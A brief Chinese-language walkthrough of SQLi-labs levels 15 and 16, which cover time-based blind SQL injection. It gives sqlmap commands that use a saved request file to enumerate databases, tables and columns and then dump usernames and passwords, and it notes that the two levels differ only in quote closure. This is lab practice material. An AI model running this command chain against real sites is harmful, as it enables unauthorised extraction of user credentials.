sqli-15-16

sqli-第15关-时间盲注

 

 时间盲注都是用工具的。手工太难了

将请求复制黏贴到txt，文件中

 

 sqlmap -r C:\Users\Administrator\Desktop\post.txt --dbs

 sqlmap -r C:\Users\Administrator\Desktop\post.txt -D "security" --tables -v 4

 

 

 

  sqlmap -r C:\Users\Administrator\Desktop\post.txt -D "security" -T "users" --columns -v 4

   sqlmap -r C:\Users\Administrator\Desktop\post.txt -D "security" -T "users" -C "password,username" --dump

 

 十五关和十六关的差距是'单引号闭合和")双引号闭合